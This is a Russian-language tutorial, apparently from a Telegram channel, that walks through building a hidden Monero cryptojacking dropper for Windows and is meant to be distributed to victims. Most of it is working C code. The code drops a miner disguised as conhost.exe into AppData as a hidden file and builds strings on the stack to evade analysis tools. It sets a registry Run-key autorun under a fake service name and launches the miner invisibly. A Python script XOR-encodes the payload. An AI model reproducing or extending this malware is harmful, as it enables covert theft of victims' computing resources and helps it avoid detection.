Майнер из говна и палок
https://t.me/ScamnetПриступим.
Часть 0. Необходимое
1) Майнер Monero. Самый эффективный на данный момент от Wolf'а. Так сложилось, что майнинг алгоритмом cryptonight гораздо эффективнее на CPU, так как тот же Wolf в отличии от других алгоритмов юзает расширение команд AES
_ttps://ru.minergate.com/altminers/cpuminer-multi-wolf
2) Гейт на котором будем майниться. Заюзаем не требующий регистрации dwarfpool
3) Visual Studio, скрипт bin2src и иммунитет к говнокоду
Часть 1. Архитектура скрытого майнера
Архитектура будет такой:
x64 дроппер, который будет дропать на авторан js скрипт, запускающий майнер в скрытом режиме. Дропать будет либо версию с поддержкой AES-расширения, либо без поддержки. Самоудаляться.
То есть, порядок сборки:
Пишем каркас дропера, перегоняем файлы майнера в массив при помощи bin2src, компейлируем и распространяем, ловя кэш на булочки в столовке.
Часть 2. Дроппер
Дропер будет прост как лопата. Определяем поддержку AES через cpuid и в зависимости от этого дропаем в аппдату определенные версии майнеров, ставим на авторан js файл который их будет врубать в скрытом режиме
Напишем Скопипиздим функцию определяющую поддержку AES
#include <intrin.h> ... BOOL aes() // вернет тру если поддерживает { int CPUInfo[4]; __cpuid(CPUInfo, 1); return (CPUInfo[2] & (1 << 25)) != 0; }
Далее научим дропер блеваться майнерами в аппдату, для начала найдем эту самую аппдату:
BOOL GetAppData(LPWSTR lpBuffer, DWORD dwSize) { WCHAR szAppData[] = { L'A', L'p', L'p', L'D', L'a', L't', L'a', L'\0' }; DWORD dwRet = GetEnvironmentVariableW(szAppData, lpBuffer, dwSize); return ((dwRet > 0) && (dwRet <= dwSize)); }
Этот код получит из системной переменной путь до аппдаты и положит в lpBuffer размером dwSize, вернув true если все оки шмоки. Кстати, извращения с таким написанием аппдатой нужны для того, чтобы в той же IDA при просмотре строк не было видно AppData, так как в данном случае она собирается прямиком на стеке, либо при помощи mov, либо push ( в зависимости от флагов оптимизации )
Шик, теперь прихуярим создание поддиректории в аппдате
BOOL CreateSubdir(LPWSTR lpPath, LPWSTR lpDirName) { typedef BOOL (WINAPI *fnCreateDirectory)( _In_ LPWSTR lpPathName, _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes ); CHAR szCreateDirectory[] = { 'C', 'r', 'e', 'a', 't', 'e', 'D', 'i', 'r', 'e', 'c', 't', 'o', 'r', 'y', 'W', '\0' }; WCHAR szKernelLib[] = { L'K', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' }; fnCreateDirectory fpCreateDirectory = (fnCreateDirectory)GetProcAddress(GetModuleHandleW(szKernelLib), szCreateDirectory); if (!fpCreateDirectory) return FALSE; LPWSTR lpNewPath = (LPWSTR)VirtualAlloc(0, 512, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!lpNewPath) return FALSE; wsprintfW(lpNewPath, L"%s\\%s", lpPath, lpDirName); BOOL bRet = fpCreateDirectory(lpNewPath, 0); if (GetLastError() == ERROR_ALREADY_EXISTS) bRet = TRUE; VirtualFree(lpNewPath, 0, MEM_RELEASE); return bRet; }
очевидно читатель уже изрядно охуел от такой сборки строк на стеке. Так что отвечу: нет, я не мазохист, за меня все делает этот збс самодельный скрипт
Теперь осталось сделать код, который дропнет все это дело в созданную директорию
HANDLE MyCreateFileW(LPWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwCreationDisposition) { typedef HANDLE (WINAPI *fnCreateFileW)( _In_ LPWSTR lpFileName, _In_ DWORD dwDesiredAccess, _In_ DWORD dwShareMode, _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes, _In_ DWORD dwCreationDisposition, _In_ DWORD dwFlagsAndAttributes, _In_opt_ HANDLE hTemplateFile ); WCHAR szKernelLib[] = { L'K', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' }; CHAR szCreateFileW[] = { 'C', 'r', 'e', 'a', 't', 'e', 'F', 'i', 'l', 'e', 'W', '\0' }; fnCreateFileW fpCreateFileW = (fnCreateFileW)GetProcAddress(GetModuleHandleW(szKernelLib), szCreateFileW); if (!fpCreateFileW) return FALSE; return fpCreateFileW(lpFileName, dwDesiredAccess, FILE_SHARE_READ, 0, dwCreationDisposition, FILE_ATTRIBUTE_HIDDEN, 0); } BOOL MyWriteFile(HANDLE hFile, LPBYTE lpByteCode, DWORD dwSize) { typedef BOOL (WINAPI *fnWriteFile)( _In_ HANDLE hFile, _In_ LPVOID lpBuffer, _In_ DWORD nNumberOfBytesToWrite, _Out_opt_ LPDWORD lpNumberOfBytesWritten, _Inout_opt_ LPOVERLAPPED lpOverlapped ); WCHAR szKernelLib[] = { L'K', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' }; CHAR szWriteFile[] = { 'W', 'r', 'i', 't', 'e', 'F', 'i', 'l', 'e', '\0' }; fnWriteFile fpWriteFile = (fnWriteFile)GetProcAddress(GetModuleHandleW(szKernelLib), szWriteFile); if (!fpWriteFile) return FALSE; DWORD dwWritten; return fpWriteFile(hFile, lpByteCode, dwSize, &dwWritten, 0); } BOOL DropArray(LPWSTR lpPath, LPWSTR lpName, LPBYTE lpByteCode, DWORD dwSize) { LPWSTR lpNewName = (LPWSTR)VirtualAlloc(0, 512, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!lpName) return FALSE; wsprintfW(lpNewName, L"%s\\%s", lpPath, lpName); BOOL bRet = FALSE; HANDLE hFile = MyCreateFileW(lpNewName, GENERIC_WRITE, CREATE_ALWAYS); if (hFile != INVALID_HANDLE_VALUE) { bRet = MyWriteFile(hFile, lpByteCode, dwSize); CloseHandle(hFile); } VirtualFree(lpNewName, 0, MEM_RELEASE); return bRet; }
Ну и собрать воедино
unsigned char lpMinerAes[] = { 0, 0 }; unsigned char lpMinerNoAes[] = { 0, 0 }; BOOL SetAutorun(LPWSTR lpPath, LPWSTR lpAutorunName, LPWSTR lpMinerName) { BOOL bRet = FALSE; return bRet; } BOOL DropMiner(BOOL bAes) { LPWSTR lpPath = (LPWSTR)VirtualAlloc(0, 512, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!lpPath) return FALSE; BOOL bRet = FALSE; if (GetAppData(lpPath, 256)) { if (CreateSubdir(lpPath, L"Runion")) { lstrcatW(lpPath, L"\\Runion"); if (DropArray(lpPath, L"conhost.exe", ((bAes == TRUE) ? lpMinerAes : lpMinerNoAes), ((bAes == TRUE) ? sizeof(lpMinerAes) : sizeof(lpMinerNoAes)))) { bRet = SetAutorun(lpPath, L"updater.js", L"conhost.exe"); } } } VirtualFree(lpPath, 0, MEM_RELEASE); return bRet; }
Осталось дописать SetAutorun, потом заглушки с lpMinerAes и lpMinerNoAes вынесем в отдельный header-файл, чтобы не мешались
Честно говоря я уже начал лениться и поэтому дальнейшие действия без динамического импорта, все же статья не об этом ;D
VOID MakeCorrection(LPWSTR out, LPWSTR in) { DWORD OutCounter = 0; for (DWORD inCounter = 0; inCounter < lstrlenW(in); inCounter++) { if (in[inCounter] == L'\\') { for (DWORD inter = 0; inter < 2; inter++) { out[OutCounter++] = L'\\'; } } else { out[OutCounter++] = in[inCounter]; } } out[OutCounter] = L'\0'; } BOOL WriteJsInFile(LPWSTR lpPath, LPWSTR lpAutorunName, LPWSTR lpFileName) { struct jsCorrect { WCHAR jsCorrect0[256]; WCHAR lpNewName[256]; WCHAR jscriptData[1024]; }; jsCorrect* lpjsc = (jsCorrect*)VirtualAlloc(0, sizeof(jsCorrect), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!lpjsc) return FALSE; BOOL bRet = FALSE; wsprintfW(lpjsc->lpNewName, L"%s\\%s", lpPath, lpAutorunName); HANDLE hFile = MyCreateFileW(lpjsc->lpNewName, GENERIC_WRITE, CREATE_ALWAYS); if (hFile != INVALID_HANDLE_VALUE) { MakeCorrection(lpjsc->jsCorrect0, lpPath); wsprintfW(lpjsc->jscriptData, L"var WSHShell = WScript.CreateObject(\"WScript.Shell\");WSHShell.Run('\"%s\\\\%s\" %s', 0);", lpjsc->jsCorrect0, lpFileName, L"-t 1 -a cryptonight -o stratum+tcp://xmr-usa.dwarfpool.com:8005 -u YOUR_MONERO_WALLET -p 1" ); bRet = MyWriteFile(hFile, (LPBYTE)lpjsc->jscriptData, lstrlenW(lpjsc->jscriptData) * 2); CloseHandle(hFile); } VirtualFree(lpjsc, 0, MEM_RELEASE); return bRet; } BOOL SetAutorun(LPWSTR lpPath, LPWSTR lpAutorunName, LPWSTR lpMinerName) { BOOL bRet = FALSE; HKEY hKey; DWORD ret = RegCreateKeyExW(HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 0, 0, KEY_ALL_ACCESS, 0, &hKey, 0); if (ret == ERROR_SUCCESS) { if (WriteJsInFile(lpPath, lpAutorunName, lpMinerName)) { LPWSTR lpAutorunPath = (LPWSTR)VirtualAlloc(0, 600, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (lpAutorunPath) { wsprintfW(lpAutorunPath, L"wscript.exe \"%s\\%s\"", lpPath, lpAutorunName); ret = RegSetValueExW(hKey, L"Active Directory service", 0, REG_SZ, (LPBYTE)lpAutorunPath, lstrlenW(lpAutorunPath) * 2); if (ret == ERROR_SUCCESS) { bRet = TRUE; } ShellExecuteW(0, L"open", lpAutorunPath, 0, 0, SW_SHOW); RegCloseKey(hKey); VirtualFree(lpAutorunPath, 0, MEM_RELEASE); } } } return bRet; }
Собсна этот код ставит на авторан примерно следующее содержимое js:
var WSHShell = WScript.CreateObject("WScript.Shell");WSHShell.Run('"C:\\Users\\USERNAME\\AppData\\Roaming\\Runion\\conhost.exe" -t 1 -a cryptonight -o stratum+tcp://xmr-usa.dwarfpool.com:8005 -u YOUR_MONERO_WALLET -p 1', 0);
И тут же врубает этот js, вместо YOUR_MONERO_WALLET нам нужно вписать наш кошелек монеро для майнинга, а на dwarfpool.com мы сможем мониторить хешрейт. Все вроде просто, да?
Осталось при помощи bin2src скрипта, слегка модифицированного мною чтобы он ксорил все на 0x05 байт перегнать версии майнеров в массивы
bin2src
import os,sys,re,struct def bin2src(s,name): s=bytearray(s) o="" o+=("static const unsigned char %s[]={" % name) for i in range(0,len(s)): if (i%32==0): o+=("\n") a = s[i] a ^= 0x5 o+=("0x%2.2X," % a) o+=("\n};\n") return o l=len(sys.argv) if l<3: print "Error: invalid argument\npython bin2src.py file.bin name file.c" sys.exit() f=open(sys.argv[1],"rb") data=f.read() f.close() name=sys.argv[2] fout=sys.argv[3] data=bin2src(data,name) f=open(fout,"wb+") f.write(data) f.close() print "Done"
Перегоняем в массив, билдим и готово
Не забываем сделать декрипт массива при старте софта и скачать при помощи, например, URLDownloadToFile необходимые дллки с любой файлопомойки с прямой ссылки ( например dropbox ).
Справитесь? Если нет, то ожидайте во 2-й части статьи продолжение. Жду рекуестов о продолжении статьи с законченным кодом если надо